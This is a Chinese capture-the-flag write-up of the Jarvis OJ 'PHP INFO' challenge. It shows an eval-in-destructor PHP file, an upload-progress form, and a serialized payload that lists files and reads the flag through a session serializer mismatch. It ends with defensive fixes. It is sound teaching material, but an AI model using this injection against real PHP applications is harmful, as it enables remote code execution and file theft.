这里我们以一道Jarvis OJ 平台的 PHP INFO的题为例

环境准备

首先我们需要修改php文件中的session.serialize_handler=php_serializesession.upload_progress.cleanup=Off;  这样做是为了防止他的自动清除这里做好之后记得重启nginx.

开始

创建一个文件index.php源代码如下


<?php
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

​

通过对上面代码的理解我们可以得知

1.它是使用php的引擎来读取session的.

2.如果存在GET方式传递进来的参数,就实例化Oowo类的对象,就会自动调用构造函数construct(),将phpinfo()赋值给变量$mdzz,在程序结束的时候调用析构函数destruct()通过eval执行$mdzz。(这里简单来说就是我们随便上传一个参数就可以看到php的探针

这里我们读取探针文件发现:

1.session存储引擎为php_serialize,但是在index.php中告诉我们session读取使用的引擎是php引擎,因为反序列化和序列化的处理器不同,又由于格式原因会导致数据无法正确反序列化,那就可以通过构造伪造任意数据。

2.在上述index.php代码中没有对$session变量赋值,但session.upload_progress.enabled 为 On。符合使用upload_process机制对变量$SESSION赋值,并结合上面的Session反序列化来构造利用。

3.因为session.upload_progress.name PHP_SESSION_UPLOAD_PROGRESS,所以这里我们可以本地创建一个upload.html,向index.php提交post请求的表单

upload.html

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" / >
    <input type="submit" />
</form>

构造pload

接下来我们通过对index.php的理解来构建其对应的编写测试序列化字符串用于验证控制流

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
    public $mdzz='print_r(scandir(dirname(__FILE__)));';

}
$obj = new OowoO();
echo serialize($obj);
?>

既然已经构建完成这里我们在浏览器的url中

对其进行访问

然后我们在利用刚才创建的文件上传界面进行文件上传,这里我们随便上传一个文件即可,然后我们用到Burp Suite对改网页进行抓包,在将刚才的payload进行数据上传,便可以打印出目录中的文件数组.

我们对这个目录进行观察可以发现Here开头的 很有可能就是存放flag的地方,这里我们对19行进行修改直接读取即可

这样就可以成功读取了

防御与修复

1.保持处理器一致: 确保整个 Web 应用中,全局的 session.serialize_handler 配置统一,避免在局部代码中使用 ini_set 频繁切换。

2.严格过滤用户输入: 避免将不受信任的用户输入(如 Session 进度条名称)直接引入反序列化流程中。

3.生产环境关闭不必要的配置: 确保生产环境下的 session.upload_progress.cleanup 保持为 On(默认值),防止 Session 文件被长期驻留利用。

#本文仅用于网络安全技术交流与教学研究,文中涉及的环境均为本地靶场复现。请勿利用文中技术用于非法用途,维护网络安全,人人有责。

更多推荐